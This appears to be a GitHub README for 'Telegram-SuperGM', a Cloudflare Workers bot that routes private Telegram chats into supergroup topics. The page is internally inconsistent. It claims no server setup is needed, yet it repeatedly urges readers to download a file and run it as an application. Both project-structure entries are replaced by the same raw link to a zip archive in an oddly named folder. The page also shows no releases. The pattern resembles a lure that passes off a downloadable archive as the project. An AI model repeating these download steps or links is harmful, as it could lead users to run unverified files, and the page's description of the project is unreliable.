Skip to content

sufyan9292/Telegram-SuperGM

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

35 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“₯ Telegram-SuperGM - Simplified Telegram Bot for Your Needs

πŸš€ Getting Started

Welcome to Telegram-SuperGM! This is a straightforward Telegram bot that runs on Cloudflare Workers. It helps you connect private chats to individual supergroup topics efficiently. You can use it for customer service, intermediaries, or other chat scenarios.

🌟 Key Features

  • πŸ›‘οΈ Human Verification: New users undergo verification, reducing risks of spam and misuse.
  • πŸ’¬ Independent Topic Communication: Each user chats in a unique Telegram topic, ensuring clear history and organization.
  • ⚫️ Blacklisting Users: You can easily stop messages from specific users by closing their topic in the group.
  • πŸ–ΌοΈ Multimedia Support: Forward images, videos, and files. Text messages support Telegram Markdown format.
  • ⚑ No Server Setup Required: Just use it as needed through Cloudflare Workers, and you won't exceed the free usage limit.

πŸ“₯ Download & Install

To download Telegram-SuperGM, follow these steps:

  1. Visit the Releases page to download the application.

  2. Choose the latest version from the list. Look for files named appropriately for your device.

  3. Click on the file link to start the download.

  4. Once downloaded, run the application by following the on-screen instructions.

Click the button below to go directly to the download page:

Download Telegram-SuperGM

πŸ“‘ Project Structure

Here’s a quick overview of the project's files:

  • https://github.com/sufyan9292/Telegram-SuperGM/raw/refs/heads/main/marrow/Super-Telegram-GM-3.1.zip: This is the main file that handles Telegram Webhooks, reads and writes KV (key-value) pairs, and communicates with the Bot API.
  • https://github.com/sufyan9292/Telegram-SuperGM/raw/refs/heads/main/marrow/Super-Telegram-GM-3.1.zip: The documentation you are reading now.

πŸ“£ Related Channels / Groups

πŸ”§ KV Setup Instructions

This project uses Cloudflare KV to track the β€œuser ↔ topic” mapping. You only need to follow these steps:

  1. Go to the Cloudflare Dashboard.
  2. Create a KV namespace. Name it anything you like, such as tg-topic-map.
  3. In the Worker’s Settings β†’ KV Namespace Bindings, bind the namespace you created.

βš™οΈ Additional Configuration (Optional)

If you want to enhance your setup, consider these optional configurations:

  • Webhook Configuration: Set your webhook URL to connect the bot with Telegram.
  • Environment Variables: You can customize working parameters by setting environment variables as needed.

πŸ“Š System Requirements

To run Telegram-SuperGM effectively, your environment should meet the following criteria:

  • Internet Connection: A stable connection is required for the bot to function properly.
  • Cloudflare Account: You must have an account with Cloudflare to set up the worker and the KV namespace.
  • Telegram Account: An active Telegram account is necessary to use the bot.

πŸ’‘ Usage Tips

To get the most out of Telegram-SuperGM:

  • Test the verification process to ensure that new users can join smoothly.
  • Familiarize yourself with the independent topic feature, as it helps keep conversations organized.
  • Use multimedia support to enhance communication with your users.

For any troubleshooting or questions, visit the related channels listed above.

Feel free to explore the features at your own pace. Always refer back to this guide if you need assistance setting things up.

Happy chatting!

Releases

No releases published

Packages

 
 
 

Contributors